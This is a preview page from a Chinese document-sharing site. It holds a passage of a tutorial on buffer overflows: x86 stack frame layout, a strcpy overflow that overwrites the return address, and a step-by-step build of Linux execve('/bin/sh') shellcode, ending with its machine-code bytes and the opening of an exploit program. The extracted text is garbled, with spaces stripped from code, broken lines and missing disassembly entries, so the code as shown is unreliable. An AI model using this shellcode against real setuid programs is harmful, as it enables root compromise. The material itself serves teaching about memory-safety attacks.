Buffer Overflow 机理剖析一Word文档下载推荐.docx

上传人:b****2 文档编号:5828957 上传时间:2023-05-05 格式:DOCX 页数:25 大小:25.22KB
下载 相关 举报
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第1页
第1页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第2页
第2页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第3页
第3页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第4页
第4页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第5页
第5页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第6页
第6页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第7页
第7页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第8页
第8页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第9页
第9页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第10页
第10页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第11页
第11页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第12页
第12页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第13页
第13页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第14页
第14页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第15页
第15页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第16页
第16页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第17页
第17页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第18页
第18页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第19页
第19页 / 共25页
Buffer Overflow 机理剖析一Word文档下载推荐.docx_第20页
第20页 / 共25页
亲,该文档总共25页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

Buffer Overflow 机理剖析一Word文档下载推荐.docx

《Buffer Overflow 机理剖析一Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《Buffer Overflow 机理剖析一Word文档下载推荐.docx(25页珍藏版)》请在冰点文库上搜索。

Buffer Overflow 机理剖析一Word文档下载推荐.docx

  栈帧的结构:

  下面我们通过一个简单的例子来分析一下栈帧的结构.

voidproc(inti)

{

 intlocal;

 local=i;

}

voidmain()

{

 proc

(1);

  这段代码经过编译器后编译为:

(以PC为例)

main:

push 1

   call proc

   ...

proc:

push ebp

   mov ebp,esp

   sub esp,4

   mov eax,[ebp+08]

   mov [ebp-4],eax

   add esp,4

   pop ebp

   ret 4

  下面我们分析一下这段代码.

push1

   callproc

  首先,将调用要用到的参数1压入堆栈,然后callproc

pushebp

   movebp,esp

  我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置只和esp有关系,如可通过[esp+4]存取参数1.但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过[esp+4]来存取1了.因此,为了便于参数和变量的存取,编译器又引入了一个基址寄存器ebp,首先将ebp的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用[ebp+8]来存取参数1了.

   subesp,4

  将esp减4,留出一个int的位置给局部变量local使用,local可通过[ebp-4]来存取

   mov[ebp-4],eax

就是local=i;

   addesp,4

   popebp

   ret4

  首先esp加4,收回局部变量的空间,然后popebp,恢复ebp原值,最后ret4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间.不难看出,这个程序在执行proc过程时,栈帧的结构如下:

 4    4    4    4

[local] [ebp] [ret地址] [参数1] 内存高端

|    |

esp(栈顶)ebp

因此,我们可以总结出一般栈帧的结构:

..[local1][local2]..[localn][ebp][ret地址][参数1][参数2]..[参数n]

|                |

esp(栈顶)            ebp

  了解了栈帧的结构以后,现在我们可以来看一下Bufferoverflow的机理了。

2.BufferOverflow的机理

  我们先举一个例子说明一下什么是BufferOverflow:

voidfunction(char*str)

  charbuffer[16];

  strcpy(buffer,str);

  charlarge_string[256];

  inti;

  for(i=0;

i<

255;

i++)

  large_string[i]='

A'

;

  function(large_string);

  这段程序中就存在BufferOverflow的问题.我们可以看到,传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer.如果你执行这个程序的话,系统会报告一个SegmentationViolation错误.下面我们就来分析一下为什么会这样?

  首先我们看一下未执行strcpy时堆栈中的情况:

   16   4   4     4

...[buffer][ebp][ret地址][large_string地址]

|      |

esp     ebp

当执行strcpy时,程序将256Bytes拷入buffer中,但是buffer只能容纳16Bytes,那么这时会发生什么情况呢?

因为C语言并不进行边界检查,所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp,ret地址,large_string地址.因为此时ret地址变成了0x41414141h,所以当过程结束返回时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报SegmentationViolation.

  从上面的例子中不难看出,我们可以通过BufferOverflow来改变在堆栈中存放的过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机,最常见的方法是:

在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址,这样当过程返回时,程序就转而开始执行这段我们自编的代码了.一般来说,这段代码都是执行个Shell程序(如\bin\sh),因为这样的话,当我们入侵一个带有BufferOverflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事.因此,这段代码一般被称为ShellCode.

  下面我们就来看一下如何编写ShellCode.

3.ShellCode的编写

  下面是一个创建Shell的C程序shellcode.c:

(本文以IntelX86上的Linux为例说明)

voidmain(){

  char*name[2];

  name[0]="

/bin/sh"

  name[1]=NULL;

  execve(name[0],name,NULL);

  我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)

------------------------------------------------------------------------------

[aleph1]$gcc-oshellcode-ggdb-staticshellcode.c

[aleph1]$gdbshellcode

GDBisfreesoftwareandyouarewelcometodistributecopiesofit

undercertainconditions;

type"

showcopying"

toseetheconditions.

ThereisabsolutelynowarrantyforGDB;

showwarranty"

for

details.

GDB4.15(i586-unknown-linux),Copyright1995FreeSoftwareFoundation,Inc...

(gdb)disassemblemain

Dumpofassemblercodeforfunctionmain:

0x8000130:

pushl%ebp

0x8000131:

movl%esp,%ebp

0x8000133:

subl$0x8,%esp

0x8000136:

movl$0x80027b8,0xfffffff8(%ebp)

0x800013d:

movl$0x0,0xfffffffc(%ebp)

0x8000144:

pushl$0x0

0x8000146:

leal0xfffffff8(%ebp),%eax

0x8000149:

pushl%eax

0x800014a:

movl0xfffffff8(%ebp),%eax

0x800014d:

0x800014e:

call0x80002bc

0x8000153:

addl$0xc,%esp

0x8000156:

movl%ebp,%esp

0x8000158:

popl%ebp

0x8000159:

ret

Endofassemblerdump.

(gdb)disassemble__execve

Dumpofassemblercodeforfunction__execve:

0x80002bc:

0x80002bd:

0x80002bf:

pushl%ebx

0x80002c0:

movl$0xb,%eax

0x80002c5:

movl0x8(%ebp),%ebx

0x80002c8:

movl0xc(%ebp),%ecx

0x80002cb:

movl0x10(%ebp),%edx

0x80002ce:

int$0x80

0x80002d0:

movl%eax,%edx

0x80002d2:

testl%edx,%edx

0x80002d4:

jnl0x80002e6

0x80002d6:

negl%edx

0x80002d8:

pushl%edx

0x80002d9:

call0x8001a34

0x80002de:

popl%edx

0x80002df:

movl%edx,(%eax)

0x80002e1:

movl$0xffffffff,%eax

0x80002e6:

popl%ebx

0x80002e7:

0x80002e9:

0x80002ea:

0x80002eb:

nop

  下面我们来首先来分析一下main代码中每条语句的作用:

  0x8000130:

  0x8000131:

  0x8000133:

  这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:

  也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了8个字节的位置.

  0x8000136:

  这里,将字符串"

的地址放入name[0]的内存单元中,也就是相当于:

  0x800013d:

  将NULL放入name[1]的内存单元中,也就是相当于:

  对execve()的调用从下面开始:

  0x8000144:

  开始将参数以逆序压入堆栈,第一个是NULL.

  0x8000146:

  0x8000149:

  将name[]的起始地址压入堆栈

  0x800014a:

  0x800014d:

  将字符串"

的地址压入堆栈

  0x800014e:

  调用execve().call指令首先将EIP压入堆栈

------------------------------------------------------------------------------------

  现在我们再来看一下execve()的代码.首先要注意的是,不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同.有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.我们的这个例子是在基于IntelX86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生(INT80h),参数是通过寄存器传递给系统的.

  0x80002bc:

 pushl%ebp

  0x80002bd:

  0x80002bf:

  同样的入口处理

  0x80002c0:

  将0xb(11)赋给eax,这是execve()在系统中的索引号.

  0x80002c5:

的地址赋给ebx

  0x80002c8:

  将name[]的地址赋给ecx

  0x80002cb:

  将NULL的地址赋给edx

  0x80002ce:

  产生系统调用,进入核心态运行.

  看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:

lealstring,string_addr

movl$0x0,null_addr

movl$0xb,%eax

movlstring_addr,%ebx

lealstring_addr,%ecx

lealnull_string,%edx

int$0x80

(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)

string db "

0

string_addr dd 0

null_addr  dd 0

-------------------------------------------------------------------------------------

  但是这段代码中还存在着一个问题,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:

  movlstring_addr,%ebx

  这种需要将绝对地址编码进机器语言的指令根本就没法使用.解决这个问题的一个办法就是使用一条额外的JMP和CALL指令.因为这两条指令编码使用的都是相对于IP的偏移地址而不是绝对地址,所以我们可以在ShellCode的最开始加入一条JMP指令,在string前加入一条CALL指令.只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.

  经过上面的修改,我们的ShellCode变成了下面的样子:

jmp0x20

poplesi

movb$0x0,0x7(%esi)

movl%esi,0x8(%esi)

movl$0x0,0xC(%esi)

movl%esi,%ebx

leal0x8(%esi),%ecx

leal0xC(%esi),%edx

call-0x25

stringdb"

0

string_addrdd0

null_addr dd0#2bytes,跳转到CALL

#1byte,弹出string地址

#4bytes,将string变为以'

\0'

结尾的字符串

#7bytes

#5bytes

#2bytes

#3bytes

#5bytes,跳转到popl%esi

  我们知道C语言中的字符串以'

结尾,strcpy等函数遇到'

就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有'

.

  下面我们就对它作最后一次改进,去掉其中的'

:

原指令:

          替换为:

--------------------------------------------------------

movb $0x0,0x7(%esi)    xorl%eax,%eax

movl $0x0,0xc(%esi)    movb%eax,0x7(%esi)

              movl%eax,0xc(%esi)

movl $0xb,%eax       movb$0xb,%al

  OK!

现在我们可以试验一下这段ShellCode了.首先我们把它封装为C语言的形式.

__asm__("

jmp0x18      #2bytes

popl%esi      #1byte

movl%esi,0x8(%esi) #3bytes

xorl%eax,%eax   #2bytes

movb%eax,0x7(%esi) #3bytes

movl%eax,0xc(%esi) #3bytes

movb$0xb,%al    #2bytes

movl%esi,%ebx   #2bytes

leal0x8(%esi),%ecx #3bytes

leal0xc(%esi),%edx #3bytes

int $0x80     #2bytes

call-0x2d     #5bytes

.string\"

/bin/sh\"

 #8bytes

"

);

  经过编译后,用gdb得到这段汇编语言的机器代码为:

\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b

\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh

现在我们可以写我们的试验程序了:

exploit1.c:

charshellcode[]=

\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

\x8

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 解决方案 > 学习计划

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2